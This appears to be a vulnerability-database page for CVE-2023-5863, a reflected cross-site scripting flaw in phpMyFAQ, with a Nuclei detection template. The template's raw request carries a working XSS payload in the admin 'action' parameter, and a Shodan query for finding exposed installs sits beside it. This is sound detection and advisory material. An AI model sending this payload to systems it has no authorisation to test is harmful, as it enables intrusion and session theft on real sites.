HexBrain

Browse / CVEs / CVE-2023-5863

CVE-2023-5863· phpMyFAQ· CWE-79

phpMyFAQ < 3.2.0 - Cross-site Scripting

mediumseverity
6.1CVSS score
1.1%likelihood of exploitation, next 30 days
65%of all CVEs are less likely
Readycheck to confirm it

Cross-site Scripting (XSS) Reflected in GitHub repository thorsten/phpmyfaq prior to 3.2.2.

Impact

Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the action parameter, potentially stealing administrator session cookies or performing administrative actions.

Fix

Update phpMyFAQ to version 3.2.2 or later.

How to confirm it

Send: GET /admin/index.php?action=ngductung"><img+src/onerror="alert(document.domain)
Positive when: contains "<img src/onerror=\"alert(document.domain)\">" and "phpMyFAQ" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-5863 -u <target>

The full check
id: CVE-2023-5863

info:
  name: phpMyFAQ < 3.2.0 - Cross-site Scripting
  author: ctflearner
  severity: medium
  description: |
    Cross-site Scripting (XSS) Reflected in GitHub repository thorsten/phpmyfaq prior to 3.2.2.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the action parameter, potentially stealing administrator session cookies or performing administrative actions.
  remediation: |
    Update phpMyFAQ to version 3.2.2 or later.
  reference:
    - https://huntr.com/bounties/fbfd4e84-61fb-4063-8f11-15877b8c1f6f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5863
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-5863
    cwe-id: CWE-79
    epss-score: 0.01063
    epss-percentile: 0.64923
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"phpmyfaq"
    product: phpMyFAQ
  tags: cve2023,cve,huntr,phpmyfaq,xss,vuln

http:
  - raw:
      - |
        GET /admin/index.php?action=ngductung"><img+src/onerror="alert(document.domain) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src/onerror="alert(document.domain)">'
          - 'phpMyFAQ'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from